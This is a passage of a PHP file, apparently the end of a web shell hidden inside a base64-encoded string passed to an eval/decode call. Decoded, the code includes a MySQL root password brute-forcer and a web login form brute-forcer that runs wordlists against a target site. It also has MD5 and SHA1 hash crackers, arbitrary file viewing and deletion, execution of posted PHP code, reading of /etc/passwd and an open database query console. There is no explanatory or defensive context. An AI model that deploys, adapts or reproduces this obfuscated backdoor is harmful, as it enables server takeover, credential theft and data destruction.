mRsaXN0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id29yZGxpc3QiPg0KDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzcWxicnV0ZSIgdmFsdWU9IkJydXRlIj4NCg0KPC9mb3JtPg0KDQonKTsNCg0KJG15c3FsX3Jvb3RfdXNlciA9ICRfUE9TVFsndXNlciddOw0KDQppZighZW1wdHkoJF9QT1NUWyd3b3JkbGlzdCddKSkNCg0Kew0KDQpmb3JlYWNoKGZpbGUoJF9QT1NUWyd3b3JkbGlzdCddKSBhcyAkbGluZSkNCg0Kew0KDQokcXVlcnkgPSBteXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCRteXNxbF9yb290X3VzZXIsJGxpbmUpOw0KDQppZigkcXVlcnkpew0KDQplY2hvICI8c2NyaXB0PmFsZXJ0KCdQYXNzd29yZDogIi4kbGluZS4iJyk8L3NjcmlwdD4iOw0KZWNobyAiPGJyPjxoMT5QYXNzd29yZDoiLiRsaW5lLiI8L2gxPjxicj4iOw0KDQpleGl0Ow0KDQp9ZWxzZXsNCg0KJG5vX21hdGNoID0gMTsNCg0KfQ0KDQp9DQoNCmlmKCRub19tYXRjaCA9PTEpew0KZWNobyAiTm8gbWF0Y2hlcyBmb3IgdGhpcyB3b3JkbGlzdC4iOw0KfQ0KDQoNCn0NCg0KYnJlYWs7DQoNCmNhc2UgIkJydXR1cyI6DQoNCi8vIEZvcm0gQnJ1dGUgRm9yY2VyDQoNCmVjaG8oJw0KDQo8aDQ+QnJ1dHVzIC0gUEhQIFdlYiBGb3JtIEJydXRlIEZvcmNlcjwvaDQ+DQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KDQo8Zm9udCBmYWNlPSJUcmVidWNoZXQgTVMiPjxmb250IHNpemU9IjIiPlNpdGUgVXJsOjwvZm9udD48aW5wdXQNCg0KbmFtZT0idGFyZ2V0IiBzaXplPSIyMCIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDAiPjxmb250IHNpemU9IjIiPjxicj4NCg0KVXNlcm5hbWUgRm9ybTo8L2ZvbnQ+PGlucHV0IG5hbWU9InVmb3JtIiBzaXplPSIyMCIgc3R5bGU9ImZvbnQtd2VpZ2h0Og0KDQo3MDAiPjxmb250IHNpemU9IjIiPjxicj4NCg0KVXNlcm5hbWU6PC9mb250PjxpbnB1dCBuYW1lPSJ1c2VybmFtZSIgc2l6ZT0iMjAiIHN0eWxlPSJmb250LXdlaWdodDoNCg0KNzAwIj48Zm9udCBzaXplPSIyIj48YnI+DQoNClBhc3N3b3JkIEZvcm06PC9mb250PjxpbnB1dCBuYW1lPSJwYXNzd29yZCIgc2l6ZT0iMjAiDQoNCnN0eWxlPSJmb250LXdlaWdodDogNzAwIj48Zm9udCBzaXplPSIyIj48YnI+DQoNCkZhaWx1cmUgVGV4dDo8L2ZvbnQ+PGlucHV0IG5hbWU9ImZhaWx1cmUiIHNpemU9IjIwIg0KDQpzdHlsZT0iZm9udC13ZWlnaHQ6DQoNCjcwMCI+PGZvbnQgc2l6ZT0iMiI+PGJyPg0KDQpXb3JkbGlzdCBVUkw6PC9mb250PjxpbnB1dCBuYW1lPSJ3b3JkbGlzdCIgc2l6ZT0iMjAiDQoNCnN0eWxlPSJmb250LXdlaWdodDogNzAwIj48Zm9udCBzaXplPSIyIj48YnI+DQoNCjwvZm9udD48L2I+DQoNCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIG5hbWU9IkIxIiBzdHlsZT0iZm9udC13ZWlnaHQ6DQoNCjcwMCI+PC9mb250Pg0KDQo8L2Zvcm0+Jyk7DQoNCiR0YXJnZXQ9JF9QT1NUWyJ0YXJnZXQiXTsNCg0KJHVmb3JtPSRfUE9TVFsidWZvcm0iXTsNCg0KJHVzZXI9JF9QT1NUWyJ1c2VybmFtZSJdOw0KDQokcGFzcz0kX1BPU1RbInBhc3N3b3JkIl07DQoNCiRmYWlsdXJlPSRfUE9TVFsiZmFpbHVyZSJdOw0KDQokd29yZGxpc3Q9JF9QT1NUWyJ3b3JkbGlzdCJdOw0KDQokYWdlbnQ9Ik1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMDsgZW4tVVM7IHJ2OjEuNCkgR2Vja28vMjAwMzA2MjQgTmV0c2NhcGUvNy4xIChheCkiOw0KDQokcmVmZXJlcj0kdGFyZ2V0Ow0KDQpzZXRfdGltZV9saW1pdCgwKTsNCg0KJGN1cmwgPSBDVVJMX0lOSVQoKTsNCg0KQ1VSTF9TRVRPUFQoJGN1cmwsIENVUkxPUFRfVVJMLCAiJHRhcmdldCIpOw0KDQpDVVJMX1NFVE9QVCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoNCi8vQ1VSTF9TRVRPUFQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOyBrZWVwIHRoaXMgY29tbWVudGVkIGlmIHNlcnZlcg0KDQpDVVJMX1NFVE9QVCgkY3VybCwgQ1VSTE9QVF9QT1NULCAxKTsNCg0KQ1VSTF9TRVRPUFQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAkYWdlbnQpOw0KDQpDVVJMX1NFVE9QVCgkY3VybCwgQ1VSTE9QVF9SRUZFUkVSLCAkcmVmZXJlcik7DQoNCmlmKCR3b3JkbGlzdCkNCg0Kew0KDQpmb3JlYWNoKGZpbGUoIiR3b3JkbGlzdCIpIGFzICR3b3JkKQ0KDQp7DQoNCiRwdz1zdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iKSwgJycsICR3b3JkKTsNCg0KJHJlc3VsdD0iJHVmb3JtPSR1c2VyJiRwYXNzPSRwdyI7DQoNCkNVUkxfU0VUT1BUKCRjdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRyZXN1bHQpOw0KDQokZXhlYz1DVVJMX0VYRUMoJGN1cmwpOw0KDQppZighZXJlZ2koIiRmYWlsdXJlIiwgIiRleGVjIikpDQoNCnsNCg0KJHB3ID0gaHRtbGVudGl0aWVzKCRwdyk7DQoNCmRpZSgiUGFzc3dvcmQgaXMgJHB3Iik7DQoNCn0NCg0KfQ0KDQp9DQoNCmN1cmxfY2xvc2UoJGN1cmwpOw0KDQpicmVhazsgLy8gRU5EIE9GIEJSVVRFIEZPUkNFUiAvLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQpjYXNlICJtZDVjcmFjayI6DQoNCmVjaG8oJw0KDQo8aDQ+TUQ1IENyYWNrZXI8L2g0Pg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCg0KU2FsdGVkOiBZZXMgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ5ZXMiPiB8IE5vIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibm8iPjxicj4NCg0KSGFzaDogICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaGFzaCI+PGJyPg0KDQpTYWx0OiAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNhbHQiPjxicj4NCg0KTGluazJ3b3JkbGlzdDogIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3b3JkbGlzdCI+PGJyPg0KDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDcjRjazNyajRjayBtMyEiPjxicj4NCg0KJyk7DQoNCiRzdWJtaXQgPSAkX1BPU1RbJ3N1Ym1pdCddOw0KDQokaGFzaCA9ICRfUE9TVFsnaGFzaCddOw0KDQokc2FsdCA9ICRfUE9TVFsnc2FsdCddOw0KDQokY3I0Y2ttMyA9ICRfUE9TVFsnd29yZGxpc3QnXTsNCg0KJHllcyA9ICRfUE9TVFsneWVzJ107DQoNCiRubyA9ICRfUE9TVFsnbm8nXTsNCg0KaWYoaXNzZXQoJHN1Ym1pdCkpDQoNCnsNCg0KaWYoaXNzZXQoJHllcykpDQoNCnsNCg0KZm9yZWFjaChmaWxlKCRjcjRja20zKSBhcyAkcGFzcykNCg0Kew0KDQokcGFzcyA9IHRyaW0oJHBhc3MpOw0KDQokc2FsdGVkID0gbWQ1KCRwYXNzKTsNCg0KJHNhbHRlZCA9IG1kNSgkc2FsdGVkLiRzYWx0KTsNCg0KaWYoJHNhbHRlZCA9PSAkaGFzaCkNCg0Ke2VjaG8gJzxzY3JpcHQ+YWxlcnQoIlN1Y2Nlc3MhIik7PC9zY3JpcHQ+JztwcmludCAiWW91ciB3b3JkIGlzOiAiLiRwYXNzOyAkYmFkID0gImZhbHNlIjt9DQoNCn0NCg0KfQ0KDQppZihpc3NldCgkbm8pfHwoIWlzc2V0KCR5ZXMpKSkNCg0Kew0KDQogICAgZm9yZWFjaChmaWxlKCRjcjRja20zKSBhcyAkcGFzcykNCg0KICAgIHsNCg0KICAgICAgICAkcGFzcyA9IHRyaW0oJHBhc3MpOw0KDQogICAgICAgICRzYWx0ZWQgPSBtZDUoJHBhc3MpOw0KDQogICAgICAgIGlmKCRzYWx0ZWQgPT0gJGhhc2gpDQoNCiAgICAgICAgew0KDQplY2hvICc8c2NyaXB0PmFsZXJ0KCJTdWNjZXNzISIpOzwvc2NyaXB0Pic7cHJpbnQgIllvdXIgd29yZCBpczogIi4kcGFzczsgJGJhZCA9ICJmYWxzZSI7DQoNCiAgICAgICAgfQ0KDQogICAgfQ0KDQp9DQoNCn0NCg0KYnJlYWs7DQoNCmNhc2UgInNoYTFjcmFjayI6DQoNCmVjaG8oJw0KDQo8aDQ+U2hhMSBDcmFja2VyPC9oND4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQoNClNhbHRlZDogWWVzIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ieWVzIj4gfCBObyA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im5vIj48YnI+DQoNCkhhc2g6ICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhhc2giPjxicj4NCg0KU2FsdDogICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzYWx0Ij48YnI+DQoNCkxpbmsyd29yZGxpc3Q6ICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id29yZGxpc3QiPjxicj4NCg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ3I0Y2szcmo0Y2sgbTMhIj48YnI+DQoNCicpOw0KDQokc3VibWl0ID0gJF9QT1NUWydzdWJtaXQnXTsNCg0KJGhhc2ggPSAkX1BPU1RbJ2hhc2gnXTsNCg0KJHNhbHQgPSAkX1BPU1RbJ3NhbHQnXTsNCg0KJGNyNGNrbTMgPSAkX1BPU1RbJ3dvcmRsaXN0J107DQoNCiR5ZXMgPSAkX1BPU1RbJ3llcyddOw0KDQokbm8gPSAkX1BPU1RbJ25vJ107DQoNCmlmKGlzc2V0KCRzdWJtaXQpKQ0KDQp7DQoNCmlmKGlzc2V0KCR5ZXMpKQ0KDQp7DQoNCmZvcmVhY2goZmlsZSgkY3I0Y2ttMykgYXMgJHBhc3MpDQoNCnsNCg0KJHBhc3MgPSB0cmltKCRwYXNzKTsNCg0KJHNhbHRlZCA9IHNoYTEoJHBhc3MpOw0KDQokc2FsdGVkID0gc2hhMSgkc2FsdGVkLiRzYWx0KTsNCg0KaWYoJHNhbHRlZCA9PSAkaGFzaCkNCg0Ke2VjaG8gJzxzY3JpcHQ+YWxlcnQoIlN1Y2Nlc3MhIik7PC9zY3JpcHQ+JztwcmludCAiWW91ciB3b3JkIGlzOiAiLiRwYXNzOyAkYmFkID0gImZhbHNlIjt9DQoNCn0NCg0KfQ0KDQppZihpc3NldCgkbm8pfHwoIWlzc2V0KCR5ZXMpKSkNCg0Kew0KDQogICAgZm9yZWFjaChmaWxlKCRjcjRja20zKSBhcyAkcGFzcykNCg0KICAgIHsNCg0KICAgICAgICAkcGFzcyA9IHRyaW0oJHBhc3MpOw0KDQogICAgICAgICRzYWx0ZWQgPSBzaGExKCRwYXNzKTsNCg0KICAgICAgICBpZigkc2FsdGVkID09ICRoYXNoKQ0KDQogICAgICAgIHsNCg0KZWNobyAnPHNjcmlwdD5hbGVydCgiU3VjY2VzcyEiKTs8L3NjcmlwdD4nO3ByaW50ICJZb3VyIHdvcmQgaXM6ICIuJHBhc3M7ICRiYWQgPSAiZmFsc2UiOw0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KfQ0KDQp9DQoNCmJyZWFrOw0KDQp9IC8vIEVORCBPRiBTV0lUQ0gNCg0KZWNobyAiPC9kaXY+IjsNCg0KaWYoIWVtcHR5KCRfR0VUWydkZWxldGUnXSkpew0KDQp1bmxpbmsoYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVsZXRlJ10pKTsNCg0KfQ0KDQplY2hvICI8aHIgc2l6ZT0xIGNvbG9yPXdoaXRlPiI7DQoNCmVjaG8gIjxoND48YSBocmVmPSdqYXZhc2NyaXB0OnNob3coXCJmaWxlc1wiKTsnPlNob3c8L2E+LzxhIGhyZWY9J2phdmFzY3JpcHQ6aGlkZShcImZpbGVzXCIpOyc+SGlkZTwvYT4iOw0KDQppZighZW1wdHkoJF9HRVRbJ2VkaXQnXSkpew0KZWNobyBiYXNlNjRfZGVjb2RlKCRfR0VUWydlZGl0J10pOw0KfQ0KDQppZighZW1wdHkoJF9HRVRbJ3ZpZXcnXSkpew0KZWNobyBiYXNlNjRfZGVjb2RlKCRfR0VUWyd2aWV3J10pOw0KfQ0KDQplY2hvICI8L2g0PiI7DQoNCmVjaG8gIjxkaXYgaWQ9J2ZpbGVzJyBzdHlsZT0nYm9yZGVyOjFweCBzb2xpZDsgaGVpZ2h0OjMwMHB4OyBvdmVyZmxvdzphdXRvOyBiYWNrZ3JvdW5kOiMxNjE2MTY7Jz4iOw0KDQppZihpc3NldCgkX1BPU1RbJ2V2YWxfY29kZSddKSkNCmVjaG8oZXZhbChzdHJpcHNsYXNoZXMoJHBocF9jb2RlKSkpOw0KDQokYyA9ICRfR0VUWyd2aWV3J107DQoNCmlmKCRfR0VUWyd2aWV3J10gPT0gInB3ZCIpDQoNCnsNCg0KZWNobyAiPHByZT4iOw0KDQplY2hvKGh0bWxlbnRpdGllcyhmaWxlX2dldF9jb250ZW50cygiL2V0Yy9wYXNzd2QiKSkpOw0KDQplY2hvICI8L3ByZT4iOw0KDQp9ZWxzZXsNCg0KZWNobyAiPHByZT4iOw0KDQppZihlcmVnaSgicGhwIixiYXNlNjRfZGVjb2RlKCRjKSkpDQoNCmVjaG8gaHRtbGVudGl0aWVzKGhpZ2hsaWdodF9zdHJpbmcoQGZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoJGMpKSkpOw0KDQplbHNlew0KDQplY2hvIGh0bWxlbnRpdGllcyhAZmlsZV9nZXRfY29udGVudHMoYmFzZTY0X2RlY29kZSgkYykpKTsNCg0KZWNobyAiPC9wcmU+IjsNCg0KfQ0KDQp9DQoNCmlmKCFlbXB0eSgkX0dFVFsnZWRpdCddKSl7ICRteV9maWxlID0gJF9HRVRbJ2VkaXQnXTsgZWRpdF9maWxlKCRteV9maWxlKTsgfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KIyMjIyMjIyBDT05ORUNUIFRPIE1ZU1FMICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQppZigkX0dFVFsnc2VydmVyJ10gPT0gIk15U1FMIil7DQoNCiRob3N0ID0gaHRtbGVudGl0aWVzKCRfUkVRVUVTVFsnaG9zdCddKTsgJHBvcnQgPSBodG1sZW50aXRpZXMoJF9SRVFVRVNUWydwb3J0J10pOyAkdXNlciA9IGh0bWxlbnRpdGllcygkX1JFUVVFU1RbJ3VzZXInXSk7DQokcGFzcyA9IGh0bWxlbnRpdGllcygkX1JFUVVFU1RbJ3Bhc3MnXSk7ICRkYiA9IGh0bWxlbnRpdGllcygkX1JFUVVFU1RbJ2RiJ10pOyAkdGFibGUgPSBodG1sZW50aXRpZXMoJF9SRVFVRVNUWyd0YWJsZSddKTsNCiRmaWVsZCA9IGh0bWxlbnRpdGllcygkX1JFUVVFU1RbJ2ZpZWxkJ10pOw0KDQokbmV3aG9zdCA9ICRob3N0LiI6Ii4kcG9ydDsNCg0KJGNvbm5lY3QgPSBteXNxbF9jb25uZWN0KCRuZXdob3N0LCAkdXNlciwgJHBhc3MpOyBpZighJGNvbm5lY3Qpe2VjaG8gIkNhbm5vdCBjb25uZWN0IHRvICR1c2VyQCRob3N0IHVzaW5nICRwYXNzLiI7IGVjaG8gJw0KPGZvcm0gbWV0aG9kPSJHRVQiPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9IicuJGhvc3QuJyI+IDxicj4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPQ0KIjMzMDYiPiA8YnI+IFVzZXI6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJy4kdXNlci4nIj4gPGJyPiBQYXNzOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIgdmFsdWU9DQoiJy4kcGFzcy4nIj4gPGJyPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiB2YWx1ZT0iJy4kZGIuJyI+IDxicj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2VydmVyIiB2YWx1ZT0NCiJNeVNRTCI+IDwvZm9ybT4gJzsgfQ0KDQppZihlbXB0eSgkZGIpKXsgZWNobyAnIDxmb3JtIG1ldGhvZD0iR0VUIj4gPHNlbGVjdCBuYW1lPSJkYiI+ICc7DQoNCiRkYl9saXN0ID0gbXlzcWxfbGlzdF9kYnMoJGNvbm5lY3QpOw0KDQp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX29iamVjdCgkZGJfbGlzdCkpIHsgZWNobyAiPG9wdGlvbiB2YWx1ZT0iLiRyb3ctPkRhdGFiYXNlLiI+Ii4kcm93LT5EYXRhYmFzZS4iPC9vcHRpb24+IjsgfQ0KDQplY2hvICcgPC9zZWxlY3Q+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInLiRob3N0LiciPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJy4kdXNlci4nIj4gPGlucHV0IHR5cGU9ImhpZGRlbiINCm5hbWU9InBvcnQiIHZhbHVlPSInLiRwb3J0LiciPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJy4kcGFzcy4nIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2VydmVyIiB2YWx1ZT0NCiJNeVNRTCI+IDwvZm9ybT4gJzsNCg0KfQ0KDQpteXNxbF9zZWxlY3RfZGIoJGRiKTsNCg0KaWYoIWVtcHR5KCRkYikpew0KDQplY2hvICc8aDQ+PGEgaHJlZj0iJy4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4nJmRvX3F1ZXJ5PXllcyI+Q3VzdG9tIFF1ZXJ5PC9hPjwvaDQ+JzsNCg0KaWYoJF9HRVRbJ2RvX3F1ZXJ5J10gPT0gInllcyIpew0KDQplY2hvICcgPGZvcm0gbWV0aG9kPSJQT1NUIj4gPHRleHRhcmVhIG5hbWU9InF1ZXJ5IiByb3dzPSI4IiBjb2xzIjI1Ij48L3RleHRhcmVhPiA8YnI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InF1ZXJ5ZGIiDQp2YWx1ZT0iUXVlcnkiPiA8L2Zvcm0+ICc7DQoNCmlmKGlzc2V0KCRfUE9TVFsncXVlcnlkYiddKSl7IGVjaG8obXlzcWxfcXVlcnkoJF9QT1NUWydxdWVyeSddKSk7IH0NCg0KfQ0KDQp9DQoNCmlmKCFlbXB0eSgkX0dFVFsnZGInXSkgYW5kIGVtcHR5KCR0YWJsZSkpew0KDQokdGFibGVzID0gbXlzcWxfbGlzdF90YWJsZXMoICRkYiwgJGNvbm5lY3QgKTsNCg0KZWNobyAiVGFibGVzOiAiOw0KDQplY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nOw0KDQokeCA9IDA7DQoNCndoaWxlKCRsaW5lID0gbXlzcWxfZmV0Y2hfcm93KCAkdGFibGVzICkgKXsNCg0KZWNobyAnPHRyPjx0ZD4nOw0KDQplY2hvICc8YSBocmVmPSInLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmdGFibGU9JzsNCg0KZWNobyAkbGluZVswXTsNCg0KZWNobyAnIj4nLiRsaW5lWzBdLic8L2E+JzsNCg0KZWNobyAnPC90ZD48L3RyPic7DQoNCn0NCg0KZWNobyAnPC90YWJsZT4nOw0KDQp9IC8vIEVuZCBvZiBUYWJsZSBsaXN0DQoNCmlmKCFlbXB0eSgkX0dFVFsndGFibGUnXSkgYW5kICFlbXB0eSgkZGIpIGFuZCBlbXB0eSgkZmllbGQpKXsNCg0KJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCRkYiwgJHRhYmxlKTsNCg0KZWNobyAiQ29sdW1uczogIjsNCg0KZWNobyAnPGRpdiBpZD1zaW5nbGVfcm93Pjx0YWJsZSB3aWR0aD0xMDAlPic7DQoNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlIik7IGlmICghJHJlc3VsdCkgeyBlY2hvICdDb3VsZCBub3QgcnVuIHF1ZXJ5OiAnIC4gbXlzcWxfZXJyb3IoKTsgfSBpZg0KKG15c3FsX251bV9yb3dzKCRyZXN1bHQpID4gMCkgeyB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KDQplY2hvICc8dHI+PHRkIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkOyI+JzsNCg0KZWNobyAnPGEgaHJlZj0iJy4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4nJmZpZWxkPSc7DQoNCmVjaG8gJHJvd1swXTsNCg0KZWNobyAnIj4nLiRyb3dbMF0uJzwvYT4nOw0KDQplY2hvICc8L3RkPic7DQoNCiRzcWwgPSBteXNxbF9xdWVyeSgiU0VMRUNUICRyb3dbMF0gRlJPTSAkdGFibGUiKTsgd2hpbGUoJHJvd3MgPSBteXNxbF9mZXRjaF9hcnJheSgkc3FsKSl7IGVjaG8gJzx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZDsiPg0KJzsgZWNobyAkcm93c1swXTsgZWNobyAnPC90ZD4nOyB9DQoNCmVjaG8gJzwvdHI+JzsNCg0KICAgIH0gfQ0KDQplY2hvICc8L3RhYmxlPjwvZGl2Pic7DQoNCn0gLy8gRW5kIGxpc3Qgb2YgZmllbGRzDQoNCiMjIyMjIyMjIyMjIyBNWVNRTCBFTkRTIEhFUkUgIyMjIyMjIyMjIyMjIyMjIyMjDQoNCn0gLy8gZW5kIG9mIE15U1FMIGNhc2UNCg0KIyMjIyMjIyMjIyMjIyMjIyBFTkQgT0YgRklMRVMgQ09OVEVOVCAjIyMjIyMjIyMjIyMjIyMjIyMNCg0KZWNobyAiPC9kaXY+IjsNCg0KDQplY2hvICI8ZGYgY2xhc3M9J2Zvb3Rlcic+IjsgZWNobyAkZm9vdGVyLiI8L2RmPiI7DQoNCn0NCg0KJHRpbWVfZmluaXNoID0gbWljcm90aW1lKCk7DQoNCiRmaW5hbF90aW1lID0gJHRpbWVfZmluaXNoLSR0aW1lX3N0YXJ0Ow0KDQplY2hvICcgPCEtLSBHZW5lcmF0aW9uIHRpbWU6ICcuJGZpbmFsX3RpbWUuJyBtaWNyb3NlY29uZHMuIC0tPiAnOw=='));

?>